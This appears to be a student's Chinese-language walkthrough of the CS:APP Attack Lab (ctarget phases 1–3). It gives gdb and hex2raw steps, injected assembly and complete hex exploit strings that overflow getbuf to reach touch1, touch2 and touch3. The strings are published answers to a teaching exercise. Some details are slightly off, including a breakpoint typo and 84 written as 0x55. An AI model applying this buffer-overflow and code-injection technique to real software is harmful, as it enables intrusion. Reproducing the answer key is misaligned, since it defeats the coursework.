资源下载地址:CS:APP3e, Bryant and O'Hallaron
CTARGET
objdump -d ctarget >ctarget.txt
反汇编我们下载的ctarget打开看看
touch1:
我们期望的是getbuf执行完之后直接跳到touch1,利用缓存区溢出达到找个目的.
汇编显示call Gets之前 sub $0x28,%rsp,栈指针减小了 0x28 也就是 40,说明缓冲区的大小为 40 个字节。
这里要注意的是,栈中一行是64个位,也就是8字节,e.txt中一个数字代表4位,每一行是小端法.
e.txt:
把e.txt文件输入hex2raw程序输出r.txt文件,hex2raw程序的细节看官网的writeup.
./hex2raw < e.txt > r.txt
将r.txt传入ctarget运行 参数-q是离线模式:
./ctarget -q < r.txt
用gdb运行ctarget
gdb ctarget
打断点(每个机器断点不同,打到Gets后面的指令即可):
(gdb)b * 0x4017bq
参数-q是离线模式,在gdb下将r.txt输入到ctarget运行
(gdb)r -q r.txt
我们可以通过
(gdb)display /x $rip
持续关注%rip的值来发现我们覆盖返回地址的情况.
答案:
30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 C0 17 40 00 00 00 00 00
touch2:
4.2 Level 2 Phase 2 involves injecting a small amount of code as part of your exploit string. Within the file ctarget there is code for a function touch2 having the following C representation:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
以上是writeup上的要求,根据要求我们的目标是,先覆盖返回地址跳转到栈地址,执行我们注入的代码改变参数val的值使其与cookie相等.再返回到touch2
先构造我们的注入代码code.s,通过它得到机器码.
#code.s
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
编译code.s:
gcc -c code.s
反汇编code.o:
objdump -d code.o > code.d
我们是利用getbuf的栈溢出所以是执行完sub $0x28,%rsp
打断点到0x4017ac:
(gdb)b * 0x4017ac
将code.d里面的机器码写到touch2.txt中 ,在溢出处修改的返回地址写成getbuf的栈0x5561dc78:
./hex2raw < touch2.txt > r.txt
./ctarget -q < r.txt
val已经被修改了.
答案:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
touch3:
Phase 3 also involves a code injection attack, but passing a string as argument. Within the file ctarget there is code for functions hexmatch and touch3 having the following C representations:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.
cookie:0x59b997fa
ascii:35 39 62 39 39 37 66 61
按照writeup的要求,我们的目标是将ascii:35 39 62 39 39 37 66 61存入栈中,再把存放的地址赋值给%rdi.
因为留意到hexmatch函数会对%rsp减去80,所以我们把ascii存在80个字节往后的位置.
图中每行14个字节6行之后就是84个字节
前面提到过栈地址不变为0x5561dc78
0x5561dc78+ 0x55(84的16进制) = 0x5561dccd
因为汇编指令和touch2是一样的我们就改数值就可以了.
假如我们把ascii存在0x5561dc78然后一步步调试会发现,这个地址上的值会被改变:
(gdb) display /s 0x5561dc85
答案:
48 c7 c7 cc dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61